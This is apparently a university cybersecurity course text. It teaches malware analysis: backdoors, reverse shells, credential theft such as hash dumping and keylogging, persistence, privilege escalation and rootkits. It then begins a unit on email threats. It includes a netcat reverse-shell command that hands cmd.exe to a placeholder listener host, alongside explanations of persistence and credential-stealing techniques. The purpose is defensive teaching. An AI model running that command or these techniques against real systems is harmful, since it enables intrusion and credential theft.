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Unit – 1  
Malware Analysis 

Learning Objectives : 

After studying this unit, you should be able to: 

 Understand the malware,its capabilities, rules for malware analysis and types of 
malware analysis  

 Understand the concepts of malware analysis techniques. 

 Know different types of backdoors and credential stealers.  

 Know different types of tools for malware analysis. 

Structure 

1.1 Introduction 
1.2  Malware Analysis and its Goals 
1.3 Malware Analysis Techniques. 
      1.3.1Basic Static Analysis 
      1.3.2 Basic Dynamic Analysis 
      1.3.3 Advanced Static Analysis 
      1.3.4 Advanced Dynamic Analysis 
1.4 Types of Malware 
1.5 General Rules for Malware Analysis 
1.6 Malware Functionality 
      1.6.1 Downloaders and Launchers 
1.7 Backdoors 
      1.7.1 Reverse Shell 
      1.7.2 RATs 
      1.7.3 Botnets 
      1.7.4 RATs and Botnets Compared 
1.8 Credential Stealers 
      1.8.1 GINA Interception 
      1.8.2 Hash Dumping 
      1.8.3 Keystroke Logging 
1.9 Persistence Mechanisms 
      1.9.1 Trojanized System Binaries 
      1.9.2 DLL Load-Order Hijacking 
1.10 Privilege Escalation 
      1.10.1 Using SeDebugPrivilege 
1.11 Covering its Tracks—User-Mode Rootkits 
      1.11.1 IAT Hooking 
      1.11.2 Inline Hooking 
1.12 Tools for malware analysis 
      1.12.1 ApateDNS 
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      1.12.2 Autoruns 
      1.12.3 BinDiff 
      1.12.4 BinNavi 
      1.12.5 Deep Freeze 
1.13 Summary 

 1.0 Introduction 

 
The phone rings, and the networking guys tell you that you have been hacked and that 
your customer sensitive information is being stolen from your network. You begin your 
investigation by checking your logs to identify the hosts involved. You scan the hosts 
with antivirus software to find the malicious program, and catch a lucky break when it 
detects a trojan horse named TROJ.snapAK. You delete the file in an attempt to clean 
things up, and you use network capture to create an intrusion detection system (IDS) 
signature to make sure no other machines are infected. Then you patch the hole that you 
think the attackers used to break into ensure that it doesn’t happen again. 
 
Then, several days later, the networking guys are back, telling you that sensitive data is 
being stolen from your network. It seems like the same attack, but you have no idea what 
to do. Clearly, your IDS signature failed, because more machines are infected, and your 
antivirus software isn’t providing enough protection to isolate the threat. Now upper 
management demands an explanation of what happened, and all you can tell them about 
the malware is that it was TROJ.snapAK. You don’t have the answers to the most 
important questions, and you’re looking kind of lame. 
 
How do you determine exactly what TROJ.snapAK does so you can eliminate the threat? 
How do you write a more effective network signature? How can you find out if any other 
machines are infected with this malware? How can you make sure you’ve deleted the 
entire malware package and not just one part of it? How can you answer management’s 
questions about what the malicious program does? 
 
All you can do is tell your boss that you need to hire expensive outside consultants 
because you can’t protect your own network. That’s not really the best way to keep your 
job secure. Ah, but fortunately, you were smart enough to pick up a copy of Practical 
Malware Analysis. The skills you’ll learn in this section will teach you how to answer 
those hard questions and show you how to protect your network from malware. 
 

1.2 Malicious Software and its Goals  

 
Malicious software, or malware, plays a part in most computer intrusion and security 
incidents. Any software that does something that causes harm to the user, computer, or 
network can be considered malware, including viruses, trojan horses, worms, rootkits, 
scareware, and spyware. While the various malware incarnations do all sorts of different 
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things as malware analysts, we have a core set of tools and techniques at our disposal for 
analyzing malware. 
Malware analysis is the art of dissecting malware to understand how it works, how to 
identify it, and how to defeat or eliminate it. And you don’t need to be an uber-hacker to 
perform malware analysis.  
 
With millions of malicious programs in the wild, and more encountered every day, 
malware analysis is critical for anyone who responds to computer security incidents. And, 
with a shortage of malware analysis professionals, the skilled malware analyst is in 
serious demand. 
 
The purpose of malware analysis is usually to provide the information you need to 
respond to a network intrusion. Your goals will typically be to determine exactly what 
happened, and to ensure that you’ve located all infected machines and files. When 
analyzing suspected malware, your goal will typically be to determine exactly what a 
particular suspect binary can do, how to detect it on your network, and how to measure 
and contain its damage. 
 
Once you identify which files require full analysis, it’s time to develop signatures to 
detect malware infections on your network. As you’ll learn throughout this section, 
malware analysis can be used to develop host-based and network signatures. 

a) Host-based signatures or indicators, are used to detect malicious code on victim 
computers. These indicators often identify files created or modified by the malware or 
specific changes that it makes to the registry. Unlike antivirus signatures, malware 
indicators focus on what the malware does to a system, not on the characteristics of the 
malware itself, which makes them more effective in detecting malware that changes form 
or that has been deleted from the hard disk. 
b) Network signatures are used to detect malicious code by monitoring network traffic. 
Network signatures can be created without malware analysis, but signatures created with 
the help of malware analysis are usually far more effective, offering a higher detection 
rate and fewer false positives. 

1.3 Malware Analysis Techniques 

 
Most often, when performing malware analysis, you’ll have only the malware executable, 
which won’t be human-readable. In order to make sense of it, you’ll use a variety of tools 
and tricks, each revealing a small amount of information. You’ll need to use a variety of 
tools in order to see the full picture. 
 
There are two fundamental approaches to malware analysis: static and dynamic. Static 
analysis involves examining the malware without running it. Dynamic analysis involves 
running the malware. Both techniques are further categorized as basic or advanced. 
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1.3.1 Basic Static Analysis 
 
Basic static analysis consists of examining the executable file without viewing the actual 
instructions. Basic static analysis can confirm whether a file is malicious, provide 
information about its functionality, and sometimes provide information that will allow 
you to produce simple network signatures. Basic static analysis is straightforward and can 
be quick, but it is largely ineffective against sophisticated malware, and it can miss 
important behaviors. 
 

1.3.2 Basic Dynamic Analysis 
 
Basic dynamic analysis techniques involve running the malware and observing its 
behavior on the system in order to remove the infection, produce effective signatures, or 
both. However, before you can run malware safely, you must set up an environment that 
will allow you to study the running malware without risk of damage to your system or 
network. Like basic static analysis techniques, basic dynamic analysis techniques can be 
used by most people without deep programming knowledge, but they won’t be effective 
with all malware and can miss important functionality. 
 

1.3.3 Advanced Static Analysis 
 
Advanced static analysis consists of reverse-engineering the malware’s internals by 
loading the executable into a disassembler and looking at the program instructions in 
order to discover what the program does. The instructions are executed by the CPU, so 
advanced static analysis tells you exactly what the program does. However, advanced 
static analysis has a steeper learning curve than basic static analysis and requires 
specialized knowledge of disassembly, code constructs, and Windows operating system 
concepts. 
 

1.3.4 Advanced Dynamic Analysis 
 
Advanced dynamic analysis uses a debugger to examine the internal state of a running 
malicious executable. Advanced dynamic analysis techniques provide another way to 
extract detailed information from an executable. These techniques are most useful when 
you’re trying to obtain information that is difficult to gather with the other techniques. 

 

1.4 Types of Malware 

 
When performing malware analysis, you will find that you can often speed up your 
analysis by making educated guesses about what the malware is trying to do and then 
confirming those hypotheses. Of course, you’ll be able to make better guesses if you 
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know the kinds of things that malware usually does. To that end, here are the categories 
that most malware falls into: 

a) Backdoor: Malicious code that installs itself onto a computer to allow the attacker 
access. Backdoors usually let the attacker connect to the computer with little or no 
authentication and execute commands on the local system. 
b) Botnet: Similar to a backdoor, in that it allows the attacker access to the system, but 
all computers infected with the same botnet receive the same instructions from a single 
command-and-control server. 
c) Downloader: Malicious code that exists only to download other malicious code. 
Downloaders are commonly installed by attackers when they first gain access to a 
system. The downloader program will download and install additional malicious code. 
d) Information-stealing malware: Malware that collects information from a victim’s 
computer and usually sends it to the attacker. Examples include sniffers, password hash 
grabbers, and key loggers. This malware is typically used to gain access to online 
accounts such as email or online banking. 
e) Launcher Malicious program: used to launch other malicious programs. Usually, 
launchers use nontraditional techniques to launch other malicious programs in order to 
ensure stealth or greater access to a system. 
f) Rootkit: Malicious code designed to conceal the existence of other code. Rootkits are 
usually paired with other malware, such as a backdoor, to allow remote access to the 
attacker and make the code difficult for the victim to detect. 
g) Scareware: Malware designed to frighten an infected user into buying something. It 
usually has an user interface that makes it look like an anti-virus or other security 
program. It informs users that there is malicious code on their system and that the only 
way to get rid of it is to buy their “software”, when in reality, the software it’s selling 
does nothing more than remove the scareware. 
h) Spam-sending malware: Malware that infects user’s machine and then uses that 
machine to send spam. This malware generates income for attackers by allowing them to 
sell spam-sending services. 
i) Worm or virus: Malicious code that can copy itself and infect additional computers. 

Malware often spans multiple categories. For example, a program might have a keylogger 
that collects passwords and a worm component that sends spam. So don’t get too caught 
up in classifying malware according to its functionality. 
 
Malware can also be classified based on whether the attacker’s objective is mass or 
targeted. Mass malware, such as scareware, takes the shotgun approach and is designed to 
affect as many machines as possible. Of the two objectives, it’s the most common, and is 
usually the less sophisticated and easier to detect and defend against because security 
software targets it. 
 
Targeted malware, like a one-of-a-kind backdoor, is tailored to a specific organization. 
Targeted malware is a bigger threat to networks than mass malware, because it is not 
widespread and your security products probably won’t protect you from it. Without a 
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detailed analysis of targeted malware, it is nearly impossible to protect your network 
against that mal-ware and to remove infections. Targeted malware is usually very 
sophisticated, and your analysis will often require the advanced analysis skills covered in 
this unit. 
 

1.5 General Rules for Malware Analysis 

 
We’ll finish this primer with several rules to keep in mind when performing analysis. 

  First, don’t get too caught up in the details. Most malware programs are large and 
complex, and you can’t possibly understand every detail. Focus instead on the key 
features. When you run into difficult and complex sections, try to get a general overview 
before you get stuck in the weeds. 

 Second, remember that different tools and approaches are available for different jobs. 
There is no one approach. Every situation is different, and the various tools and 
techniques that you’ll learn will have similar and sometimes overlapping functionality. If 
you’re not having luck with one tool, try another. If you get stuck, don’t spend too long 
on any one issue; move on to some-thing else. Try analyzing the malware from a 
different angle, or just try a different approach. 

 Finally, remember that malware analysis is like a cat-and-mouse game. As new 
malware analysis techniques are developed, malware authors respond with new 
techniques to thwart analysis. To succeed as a malware analyst, you must be able to 
recognize, understand, and defeat these techniques, and respond to changes in the art of 
malware analysis. 

1.6 Malware Functionality 

 

1.6.1 Downloaders and Launchers 
Two commonly encountered types of malware are downloaders and launchers. 
Downloaders simply download another piece of malware from the Internet and execute it 
on the local system. Downloaders are often packaged with an exploit. Downloaders 
commonly use the Windows API URL Download to File A, followed by a call to 
WinExec to download and execute new malware. 
A launcher (also known as a loader) is any executable that installs malware for immediate 
or future covert execution. Launchers often contain the malware that they are designed to 
load.  
 

1.7 Backdoors 

 
A backdoor is a type of malware that provides an attacker with remote access to a 
victim’s machine. Backdoors are the most commonly found type of malware, and they 
come in all shapes and sizes with a wide variety of capabilities. Backdoor code often 
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implements a full set of capabilities, so when using a backdoor attackers typically don’t 
need to download additional malware or code. 
 
Backdoors communicate over the Internet in numerous ways, but a common method is 
over port 80 using the HTTP protocol. HTTP is the most commonly used protocol for 
outgoing network traffic, so it offers malware the best chance to blend in with the rest of 
the traffic. 
 
Backdoors come with a common set of functionality, such as the ability to manipulate 
registry keys, enumerate display windows, create directories, search files, and so on. You 
can determine which of these features is implemented by a backdoor by looking at the 
Windows functions it uses and imports. 
 

1.7.1 Reverse Shell 
 
A reverse shell is a connection that originates from an infected machine and provides 
attackers shell access to that machine. Reverse shells are found as both stand-alone 
malware and as components of more sophisticated backdoors. Once in a reverse shell, 
attackers can execute commands as if they were on the local system. 

1. Netcat Reverse Shells 

It can be used to create a reverse shell by running it on two machines. Attackers have 
been known to use Netcat or package Netcat within other malware. When Netcat is used 
as a reverse shell, the remote machine waits for incoming connections using the 
following: 
 
The –l option sets Netcat to listening mode, and –p is used to set the port on which to 
listen. Next, the victim machine connects out and provides the shell using the following 
command: nclistener_ip 80 -e cmd.exe 
 
The listener_ip 80 parts are the IP address and port on the remote machine. The -e option 
is used to designate a program to execute once the connection is established, tying the 
standard input and output from the pro-gram to the socket (on Windows, cmd.exe is often 
used, as discussed next). 

2. Windows Reverse Shells 

Attackers employ two simple malware coding implementations for reverse shells on 
Windows using cmd.exe: basic and multithreaded. 
 
The basic method is popular among malware authors, since it’s easier to write and 
generally works just as well as the multithreaded technique. It involves a call to 
CreateProcess and the manipulation of the STARTUPINFO structure that is passed to 
CreateProcess. First, a socket is created and a connection to a remote server is 
established. That socket is then tied to the standard streams (standard input, standard 
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output, and standard error) for cmd.exe. CreateProcess runs cmd.exe with its window 
suppressed, to hide it from the victim.  
 
The multithreaded version of a Windows reverse shell involves the creation of a socket, 
two pipes, and two threads (so look for API calls to CreateThread and CreatePipe). This 
method is sometimes used by malware authors as part of a strategy to manipulate or 
encode the data coming in or going out over the socket. CreatePipe can be used to tie 
together read and write ends to a pipe, such as standard input (stdin) and standard output 
(stdout).  
 
The CreateProcess method can be used to tie the standard streams to pipes instead of 
directly to the sockets. After CreateProcess is called, the malware will spawn two threads: 
one for reading from the stdin pipe and writing to the socket, and the other for reading the 
socket and writing to the stdout pipe. Commonly, these threads manipulate the data using 
data encoding. You can reverse-engineer the encoding/decoding routines used by the 
threads to decode packet captures containing encoded sessions. 
 

1.7.2 RATs 
 
A remote administration tool (RAT) is used to remotely manage a computer or 
computers. RATs are often used in targeted attacks with specific goals, such as stealing 
information or moving laterally across a network. Figure 1 shows the RAT network 
structure. The server is running on a victim host implanted with malware. The client is 
running remotely as the command and control unit operated by the attacker. The servers 
beacon to the client to start a connection, and they are controlled by the client. RAT 
communication is typically over common ports like 80 and 443. 
 
 
 
 
 
 
 
 
 
 
 

1.7.3 Botnets 
 
A botnet is a collection of compromised hosts, known as zombies, that are controlled by a 
single entity, usually through the use of a server known as a botnet controller. The goal of 
a botnet is to compromise as many hosts as possible in order to create a large network of 
zombies that the botnet uses to spread additional malware or spam, or perform a 
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distributed denial-of-service (DDoS) attack. Botnets can take a website offline by having 
all of the zombies attack the website at the same time. 
 

1.7.4 RATs and Botnets Compared 
 
There are a few key differences between botnets and RATs: 

a) Botnets have been known to infect and control millions of hosts. RATs typically 
control far fewer hosts. 
 
b) All botnets are controlled at once. RATs are controlled on a per-victim basis because 
the attacker is interacting with the host at a much more intimate level. 
 
c) RATs are used in targeted attacks. Botnets are used in mass attacks. 

 

1.8 Credential Stealers 

 
Attackers often go to great lengths to steal credentials, primarily with three types of 
malware: 

a) Programs that wait for user to log in in order to steal their credentials. 
b) Programs that dump information stored in Windows, such as password hashes, to be 
used directly or cracked offline. 
c) Programs that log keystrokes. 

1.8.1 GINA Interception 
 
On Windows XP, Microsoft’s Graphical Identification and Authentication (GINA) 
interception is a technique that malware uses to steal user credentials. The GINA system 
was intended to allow legitimate third parties to customize the logon process by adding 
support for things like authentication with hard ware radio frequency identification 
(RFID) tokens or smart cards. Malware authors take advantage of this third-party support 
to load their credential stealers. 
 
GINA is implemented in a DLL, msgina.dll, and is loaded by the Win-logon executable 
during the login process. Winlogon also works for third-party customizations 
implemented in DLLs by loading them in between Winlogon and the GINA DLL (like a 
man-in-the-middle attack).  
 
Windows conveniently provides the following registry location where third-party DLLs 
will be found and loaded by Winlogon HKLM\SOFTWARE\Microsoft\Windows 
NT\CurrentVersion\Winlogon\GinaDLL. In one instance, we found a malicious file 
fsgina.dll installed in this registry location as a GINA interceptor. 
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Figure 2 shows an example of the way that logon credentials flow through a system with 
a malicious file between Winlogon and msgina.dll. The malware (fsgina.dll) is able to 
capture all user credentials submitted to the system for authentication. It can log that 
information to disk or pass it over the network. 
 
 
 
 
 
 
 
 
Because fsgina.dll intercepts the communication between Winlogon and msgina.dll, it 
must pass the credential information on to msgina.dll so that the system will continue to 
operate normally. In order to do so, the malware must contain all DLL exports required 
by GINA; specifically, it must export more than 15 functions, most of which are 
prepended with Wlx. Clearly, if you find that you are analyzing a DLL with many export 
functions that begin with the string Wlx, you have a good indicator that you are 
examining a GINA interceptor. 
 

1.8.2 Hash Dumping 
 
Dumping Windows hashes is a popular way for malware to access system credentials. 
Attackers try to grab these hashes in order to crack them offline or to use them in a pass-
the-hash attack. A pass-the-hash attack uses LM and NTLM hashes to authenticate to a 
remote host (using NTLM authentication) without needing to decrypt or crack the hashes 
to obtain the plaintext password to log in. 
 
Pwdump and the Pass-the-Hash (PSH) Toolkit are freely available packages that provide 
hash dumping. Since both of these tools are open source, a lot of malware is derived from 
their source code. Most antivirus programs have signatures for the default compiled 
versions of these tools, so attackers often try to compile their own versions in order to 
avoid detection. The examples in this section are derived versions of pwdump or PSH 
that we have encountered in the field. 
 
Pwdump is a set of programs that outputs the LM and NTLM password hashes of local 
user accounts from the Security Account Manager (SAM). Pwdump works by performing 
DLL injection inside the Local Security Authority Subsystem Service (LSASS) process 
(better known as lsass.exe). A malware can run a DLL inside another process, thereby 
providing that DLL with all of the privileges of that process. Hash dumping tools often 
target lsass.exe because it has the necessary privilege level as well as access to many 
useful API functions. 
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Standard pwdump uses the DLL lsaext.dll. Once it is running inside lsass.exe, pwdump 
calls GetHash, which is exported by lsaext.dll in order to perform the hash extraction. 
This extraction uses undocumented Windows function calls to enumerate the users on a 
system and get the password hashes in unencrypted form for each user. 
 

1.8.3 Keystroke Logging 
 
Keylogging is a classic form of credential stealing. When keylogging, malware records 
keystrokes so that an attacker can observe typed data like usernames and passwords. 
Windows malware uses many forms of keylogging. 
 
Kernel-Based Keyloggers 
Kernel-based keyloggers are difficult to detect with user-mode applications. They are 
frequently part of a rootkit and they can act as keyboard drivers to capture keystrokes, 
bypassing user-space programs and protections. 
 
User-Space Keyloggers 
Windows user-space keyloggers typically use the Windows API and are usually 
implemented with either hooking or polling. Hooking uses the Windows API to notify the 
malware each time a key is pressed, typically with the SetWindowsHookEx function. 
Polling uses the Windows API to constantly poll the state of the keys, typically using the 
GetAsyncKeyState and GetForegroundWindow functions. Hooking keyloggers leverage 
the Windows API function SetWindowsHookEx. This type of keylogger may come 
packaged as an executable that initiates the hook function, and may include a DLL file to 
handle logging that can be mapped into many processes on the system automatically.  
 
We’ll focus on polling keyloggers that use GetAsyncKeyState and 
GetForegroundWindow. The GetAsyncKeyState function identifies whether a key is 
pressed or depressed, and whether the key was pressed after the most recent call to 
GetAsyncKeyState. The GetForegroundWindow function identifies the foreground 
window the one that has focus—which tells the keylogger which application is being 
used for keyboard entry (Notepad or Internet Explorer, for example). 
 
Figure 3 illustrates a typical loop structure found in a polling keylogger. The program 
begins by calling GetForegroundWindow, which logs the active window. Next, the inner 
loop iterates through a list of keys on the keyboard. For each key, it calls 
GetAsyncKeyState to determine if a key has been pressed. If so, the program checks the 
SHIFT and CAPS LOCK keys to determine how to log the keystroke properly. Once the 
inner loop has iterated through the entire list of keys, the GetForegroundWindow function 
is called again to ensure the user is still in the same window. This process repeats quickly 
enough to keep up with a user’s typing. (The keylogger may call the Sleep function to 
keep the program from eating up system resources.) 
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1.9 Persistence Mechanisms 

 
Once malware gains access to a system, it often looks to be there for a long time. This 
behavior is known as persistence (modification of the system’s registry). If the 
persistence mechanism is unique enough, it can even serve as a great way to fingerprint a 
given piece of malware. 
 
The Windows Registry 
In Windows registry, it is common for malware to access the registry to store 
configuration information, gather information about the system, and install itself 
persistently. The following registry key is a popular place for malware to install itself: 
 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window
s\CurrentVersion\Run 

 

1.9.1 Trojanized System Binaries 
 
Another way that malware gains persistence is by trojanizing system binaries. With this 
technique, the malware patches bytes of a system binary to force the system to execute 
the malware the next time the infected binary is run or loaded. Malware authors typically 
target a system binary that is used frequently in normal Windows operation. DLLs are a 
popular target. 
 
A system binary is typically modified by patching the entry function so that it jumps to 
the malicious code. The patch overwrites the very beginning of the function or some 
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other code that is not required for the trojanized DLL to operate properly. The malicious 
code is added to an empty section of the binary, so that it will not impact normal 
operation. The inserted code typically loads malware and will function no matter where 
it’s inserted in the infected DLL. After the code loads the malware, it jumps back to the 
original DLL code, so that everything still operates as it did prior to the patch. 
 

1.9.2 DLL Load-Order Hijacking 
 
DLL load-order hijacking is a simple, covert technique that allows malware authors to 
create persistent, malicious DLLs without the need for a registry entry or trojanized 
binary. This technique does not even require a separate malicious loader, as it capitalizes 
on the way DLLs are loaded by Windows. 
 
The default search order for loading DLLs on Windows XP is as follows 

a) The directory from which the application loaded. 
b) The current directory 
c) The system directory (the GetSystemDirectory function is used to get the path, such as 
…/Windows/System32/) 
d) The 16-bit system directory (such as …/Windows/System/) 
e) The Windows directory (the GetWindowsDirectory function is used to get the path, 
such as …/Windows/) 
f) The directories listed in the PATH environment variable 

Under Windows XP, the DLL loading process can be skipped by utilizng the 
KnownDLLs registry key, which contains a list of specific DLL locations, typically 
located in …/Windows/System32/. The KnownDLLs mechanism is designed to improve 
security (malicious DLLs can’t be placed higher in the load order) and speed (Windows 
does not need to conduct the default search in the preceding list), but it contains only a 
short list of the most important DLLs. 
 
DLL load-order hijacking can be used on binaries in directories other than /System32 that 
load DLLs in /System32 that are not protected by KnownDLLs. For example, 
explorer.exe in the /Windows directory loads ntshrui.dll found in /System32. Because 
ntshrui.dll is not a known DLL, the default search is followed, and the /Windows 
directory is checked before /System32. If a malicious DLL named ntshrui.dll is placed in 
/Windows, it will be loaded in place of the legitimate DLL. The malicious DLL can then 
load the real DLL to ensure that the system continues to run properly. 
 
Any startup binary not found in /System32 is vulnerable to this attack, and explorer.exe 
has roughly 50 vulnerable DLLs. Additionally, known DLLs are not fully protected due 
to recursive imports, and because many DLLs load other DLLs, which follow the default 
search order. 
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1.10 Privilege Escalation 

 
Most users run as local administrators, which is good news for malware authors. This 
means that the user has administrator access on the machine, and can give the malware 
those same privileges. 
 
The security community recommends not running as local administrator, so that if you 
accidentally run malware, it won’t automatically have full access to your system. If an 
user launches malware on a system but is not running with administrator rights, the 
malware will usually need to perform a privilege-escalation attack to gain full access. 
 
The majority of privilege-escalation attacks are known exploits or zero-day attacks 
against the local OS, many of which can be found in the Metasploit Framework. DLL 
load-order hijacking can even be used for a privilege escalation. If the directory where 
themalicious DLL is located is writable by the user, and the process that loads the DLL is 
run at a higher privilege level, then the malicious DLL will gain escalated privileges. 
Malware that includes privilege escalation is relatively rare, but common enough that an 
analyst should be able to recognize it. 
 
Sometimes, even when the user is running as local administrator, the malware will 
require privilege escalation. Processes running on a Windows machine are run either at 
the user or the system level. Users generally can’t manipulate system-level processes, 
even if they are administrators. Next, we’ll discuss a common way that malware gains the 
privileges necessary to attack system level processes on Windows machines. 
 

1.10.1 Using SeDebugPrivilege 
 
Processes run by a user don’t have free access to everything, and can’t, for instance, call 
functions like TerminateProcess or CreateRemoteThread on remote processes. One way 
that malware gains access to such functions is by setting the access token’s rights to 
enable SeDebugPrivilege. In Windows systems, an access token is an object that contains 
the security descriptor of a process. The security descriptor is used to specify the access 
rights of the owner—in this case, the process. An access token can be adjusted by calling 
AdjustTokenPrivileges. 
 
The SeDebugPrivilege privilege was created as a tool for system-level debugging, but 
malware authors exploit it to gain full access to a system-level process. By default, 
SeDebugPrivilege is given only to local administrator accounts, and it is recognized that 
granting SeDebugPrivilege to anyone is essentially equivalent to giving them 
LocalSystem account access. A normal user account cannot give itself SeDebugPrivilege; 
the request will be denied. 
 
 



                                                                                      Post Graduate Diploma in Cyber Security          
  

Odisha State Open University 17 

 

 

1.11 Covering its Tracks-User-Mode Rootkits 

 
Malware often goes to great lengths to hide its running processes and persistence 
mechanisms from users. The most common tool used to hide malicious activity is 
referred to as a rootkit. Rootkits can come in many forms, but most of them work by 
modifying the internal functionality of the OS. These modifications cause files, 
processes, network connections, or other resources to be invisible to other pro-grams, 
which makes it difficult for antivirus products, administrators, and security analysts to 
discover malicious activity. 
 
Some rootkits modify user-space applications, but the majority modify the kernel, since 
protection mechanisms, such as intrusion prevention systems, are installed and running at 
the kernel level. Both the rootkit and the defensive mechanisms are more effective when 
they run at the kernel level, rather than at the user level. At the kernel level, rootkits can 
corrupt the system more easily than at the user level. 
 
Here we’ll introduce you to a couple of user-space rootkit techniques, to give you a 
general understanding of how they work and how to recognize them in the field. There 
are entire books devoted to rootkits, and we’ll only scratch the surface in this section. 
 
A good strategy for dealing with rootkits that install hooks at the user level is to first 
determine how the hook is placed, and then figure out what the hook is doing. Now we 
will look at the IAT and inline hooking techniques. 
 

1.11.1 IAT Hooking 
 
IAT hooking is a classic user-space rootkit method that hides files, processes or network 
connections on the local system. This hooking method modifies the import address table 
(IAT) or the export address table (EAT).The IAT technique is an old and easily 
detectable form of hooking, so many modern rootkits use the more advanced inline 
hooking method instead. 
 

1.11.2 Inline Hooking 
 
Inline hooking overwrites the API function code contained in the imported DLLs, so it 
must wait until the DLL is loaded to begin executing. IAT hooking simply modifies the 
pointers, but inline hooking changes the actual function code. 
 
A malicious rootkit performing inline hooking will often replace the start of the code with 
a jump that takes the execution to malicious codeinserted by the rootkit. Alternatively, the 
rootkit can alter the code of the function to damage or change it, rather than jumping to 
malicious code. 
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1.12 Tools for Malware Analysis 

 

1.12.1 ApateDNS 
 
ApateDNS is a tool for controlling DNS responses. Its interface is an easy-to-use GUI. 
As a phony DNS server, ApateDNS spoofs DNS responses to a user-specified IP address 
by listening on UDP port 53 on the local machine. ApateDNS also automatically 
configures the local DNS server to localhost. When you exit ApateDNS, it restores the 
original local DNS settings. Use ApateDNS during dynamic analysis. You can download 
ApateDNS for free from http://www.mandiant.com/. 
 

1.12.2 Autoruns 
 
Autoruns is an utility with a long list of auto starting locations for Windows. For 
persistence, malware often installs itself in a variety of locations, including the registry, 
startup folder, and so on. Autoruns searches various possible locations and reports to you 
in a GUI. Use Autoruns for dynamic analysis to see where malware installed itself. You 
can download Autoruns as part of the Sys internals Suite of tools from 
http://www.sysinternals.com/. 
 

1.12.3 BinDiff 
 
BinDiff is a powerful 
binary comparison plug-
in for IDA Pro that 
allows you to quickly 
compare malware 
variants. BinDiff lets 
you pinpoint new 
functions in a given 
malware variant and 
tells you if any functions 
are similar or missing. If the functions are similar, BinDiff indicates how similar they are 
and compares the two, as shown in Figure 4. 
 
As you can see in Figure 4, the left side of the graph is missing two boxes that appear in 
the right side. You can zoom in and examine the missing instructions. BinDiff will also 
guess at how similar the overall binary is to one that you are comparing, though you must 
generate an IDB file for both the original and the variant malware for this to work. (If you 
have a fully labeled IDB file for the comparison, you will be able to more easily 
recognize what is actually similar in the binary.)BinDiff is available for purchase from 
http://www.zynamics.com/. 
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1.12.4 BinNavi 
 
BinNavi is a reverse-engineering environment similar to IDA Pro. Its strength lies in its 
graphical approach to reverse-engineering code. And, unlike IDA Pro, BinNavi can 
centrally manage your previously analyzed databases, which helps to track information; 
team members can easily work on the same project and share information and findings. 
BinNavi is available for purchase from http://www.zynamics.com/. 
 

1.12.5 Deep Freeze 
 
Deep Freeze from Faronics is an useful tool to use when performing malware analysis on 
physical hardware. It provides a VMware snapshotting capability for real hardware. You 
can run your malware, analyze it, and then just reboot. All the damage done by the 
malware will be undone,and your system will be back to a clean state. Deep Freeze is 
available for purchase from http://www.faronics.com/. 
 

1.13 Summary 

This chapter has given you a quick tour through some of the common capabilities of 
malware. We started with the different types of backdoors. Then we explored how 
malware steals credentials from a victim. Next, we looked at the different ways that 
malware can achieve persistence on a system. Finally, we showed how malware covers 
its tracks so that it cannot be easily found. 
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Unit-2 
Email Security Analysis 

Learning Objectives : 

After studying this unit, you should be able to…… 

 Know Email threats and vulnerabilities.  

 Understand the concepts of Phishing and types of Phishing techniques. 

 Understand concepts of Spoofing and email and web spoofing. 

 Understand various cryptographic techniques used for security. 

 Know the need to promote the security of the email communication channels. 

Structure 

2.1 Introduction 
2.2 Threat and Vulnerability Analysis of Email System 

  2.2.1 Spam 
      2.2.2 Social Engineering (Phishing, Targeted Attacks) 
      2.2.3 Massive Eavesdropping 
      2.2.4 Other Targeted Criminal Acts 
      2.2.5 Vulnerabilities 
               2.2.5.1integrity of Email Communications 
               2.2.5.2confidentiality of Email Communications 
2.3 Phishing 
      2.3.1 Types of Phishing 
      2.3.2 Clone Phishing 
      2.3.3 Spear Phishing 
      2.3.4 Phone Phishing 
      2.3.5 Phishing Techniques and Countermeasures 
              2.3.5.1 Email Spoofing 
              2.3.5.2 Web Spoofing 
              2.3.5.3 Pharming 
              2.3.5.4 Malware 
              2.3.5.5 Phishing Through Pdf Documents 
2.4 Privacy and Security Countermeasures 
     2.4.1 Cryptography Overview 
     2.4.2 Encryption Algorithms 
     2.4.3 Key Exchange Algorithms 
     2.4.4 Signature Algorithms 
     2.4.5 Certificates 
2.5 Summary 
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2.0 Introduction 

The objective of this section is to analyse the security and privacy risks of email 
communications and identify technical countermeasures capable of mitigating them 
effectively. In order to do so, the report analyses from a technical point of view the core 
set of communication protocols and standards that support email communications in 
order to identify and understand the existing security and privacy vulnerabilities. On the 
basis of this analysis, the report identifies and analyses technical countermeasures, in the 
form of newer standards, protocols and tools, aimed at ensuring a better protection of the 
security and privacy of email communications. The practical implementation of each 
countermeasure is evaluated in order to understand its limitations and identify potential 
technical and organisational constrains that could limit its effectiveness in practice. The 
outcome of the above mentioned analysis is a set of recommendations regarding technical 
and organisational measures that when combined properly have the potential of more 
effectively mitigating the privacy and security risks of today’s email communications. 

The main findings of this section are summarized as follows: 

1. Email communications are in general not sufficiently protected. 
2. There are standards, protocols and techniques capable of enhancing the security of 

email communications but they are not always used or implemented properly in 
practice. 

3. Mature and interoperable end-to-end email security solutions exist but are rarely 
used in practice. 

4. Email communication channels (SMTP to SMTP) are not sufficiently protected in 
practice. 

5. Lack of security in DNS has a direct impact on the security of email 
communications. 

6. Email identity spoofing is still a major risk in email communications. 
7. Incentivise industry to support end-to-end solutions. 
8. Promote the integration of end-to-end solutions into existing products and services. 
9. Promote the security of the email communication channels. 
10. Development of a minimum set of security requirements supported by an “Email 

Privacy Seal”. 

2.2 Threat and Vulnerability Analysis of the Email System 

The wide deployment and popularity of email systems, combined with the lack of 
consideration for security at the initial stages of their conception (e.g. open SMTP mail 
relays that allowed non-authenticated mail submission), have spurred the growth of 
numerous threats against email communications. In the following, we review such threats 
and examine different types, such as malware, spam, social engineering, massive 
eavesdropping and targeted attacks. 
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2.2.1 Spam  

Spam is defined as the delivery of unsolicited bulk email. Despite the fact that spam 
might not explicitly appear to be considered as a privacy or security threat, both its 
implications and its potential impact constitute it a noteworthy threat against email 
systems.  

1. Firstly, the spam threat is well known to impact the functionality of the email service, 
mainly in terms of avail-ability and usability of the service. Many Denial of Service 
(DoS) attacks have been mounted based on massive spam campaigns, aiming at 
overloading email servers so that their proper operations become disturbed or even 
permanently interrupted.  
 
2. Secondly, spam is closely related to other specific privacy and security threats also 
described in this section, such as malware and social engineering. Spam messages often 
contain links to websites that host malware or are part of a phishing campaign. 

Spam is considered to be electronic junk mail or junk newsgroup postings. Some people 
define spam even more generally as any unsolicited email. However, if a long-lost 
brother finds your email address and sends you a message, this could hardly be called 
spam, even though it is unsolicited. Real spam is generally email advertising for some 
